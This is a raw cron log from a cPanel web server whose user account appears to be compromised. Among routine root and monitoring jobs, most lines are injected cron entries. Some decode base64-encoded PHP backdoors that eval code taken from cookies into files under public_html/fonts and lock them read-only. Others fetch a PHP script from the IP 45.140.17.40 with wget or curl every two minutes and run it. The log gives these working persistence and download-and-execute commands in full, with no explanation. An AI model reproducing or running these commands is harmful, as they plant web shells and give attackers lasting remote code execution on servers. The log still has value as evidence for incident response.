Sep  5 03:31:01 ip-184-168-122-23 CROND[537]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 03:32:01 ip-184-168-122-23 CROND[634]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 03:32:01 ip-184-168-122-23 CROND[636]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 03:32:01 ip-184-168-122-23 CROND[638]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 03:32:01 ip-184-168-122-23 CROND[637]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 03:32:01 ip-184-168-122-23 CROND[639]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 03:33:01 ip-184-168-122-23 CROND[741]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 03:33:01 ip-184-168-122-23 CROND[742]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 03:33:01 ip-184-168-122-23 CROND[744]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 03:33:01 ip-184-168-122-23 CROND[743]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 03:34:01 ip-184-168-122-23 CROND[964]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 03:34:01 ip-184-168-122-23 CROND[963]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 03:34:01 ip-184-168-122-23 CROND[966]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 03:34:01 ip-184-168-122-23 CROND[967]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 03:34:01 ip-184-168-122-23 CROND[965]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 03:35:01 ip-184-168-122-23 CROND[1095]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 03:35:01 ip-184-168-122-23 CROND[1096]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 03:35:01 ip-184-168-122-23 CROND[1100]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  5 03:35:01 ip-184-168-122-23 CROND[1101]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 03:35:01 ip-184-168-122-23 CROND[1098]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 03:35:01 ip-184-168-122-23 CROND[1102]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 03:35:01 ip-184-168-122-23 CROND[1103]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 03:35:01 ip-184-168-122-23 CROND[1099]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 03:36:01 ip-184-168-122-23 CROND[1213]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 03:36:01 ip-184-168-122-23 CROND[1214]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 03:36:01 ip-184-168-122-23 CROND[1216]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 03:36:01 ip-184-168-122-23 CROND[1215]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 03:36:01 ip-184-168-122-23 CROND[1217]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 03:37:01 ip-184-168-122-23 CROND[1322]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 03:37:01 ip-184-168-122-23 CROND[1324]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 03:37:01 ip-184-168-122-23 CROND[1323]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 03:37:01 ip-184-168-122-23 CROND[1325]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 03:38:01 ip-184-168-122-23 CROND[1447]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 03:38:01 ip-184-168-122-23 CROND[1448]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 03:38:01 ip-184-168-122-23 CROND[1449]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 03:38:01 ip-184-168-122-23 CROND[1450]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 03:38:01 ip-184-168-122-23 CROND[1451]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 03:39:01 ip-184-168-122-23 CROND[1638]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 03:39:01 ip-184-168-122-23 CROND[1639]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 03:39:01 ip-184-168-122-23 CROND[1641]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 03:39:01 ip-184-168-122-23 CROND[1643]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  5 03:39:01 ip-184-168-122-23 CROND[1642]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 03:40:01 ip-184-168-122-23 CROND[1736]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 03:40:01 ip-184-168-122-23 CROND[1741]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 03:40:01 ip-184-168-122-23 CROND[1744]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 03:40:01 ip-184-168-122-23 CROND[1742]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 03:40:01 ip-184-168-122-23 CROND[1738]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 03:40:01 ip-184-168-122-23 CROND[1740]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 03:40:01 ip-184-168-122-23 CROND[1739]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 03:40:01 ip-184-168-122-23 CROND[1745]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 03:41:01 ip-184-168-122-23 CROND[1840]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 03:41:01 ip-184-168-122-23 CROND[1842]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 03:41:01 ip-184-168-122-23 CROND[1841]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 03:41:01 ip-184-168-122-23 CROND[1843]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 03:42:01 ip-184-168-122-23 CROND[1936]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 03:42:01 ip-184-168-122-23 CROND[1937]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 03:42:01 ip-184-168-122-23 CROND[1939]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 03:42:01 ip-184-168-122-23 CROND[1938]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 03:42:01 ip-184-168-122-23 CROND[1940]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 03:43:01 ip-184-168-122-23 CROND[2021]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 03:43:01 ip-184-168-122-23 CROND[2023]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 03:43:01 ip-184-168-122-23 CROND[2024]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
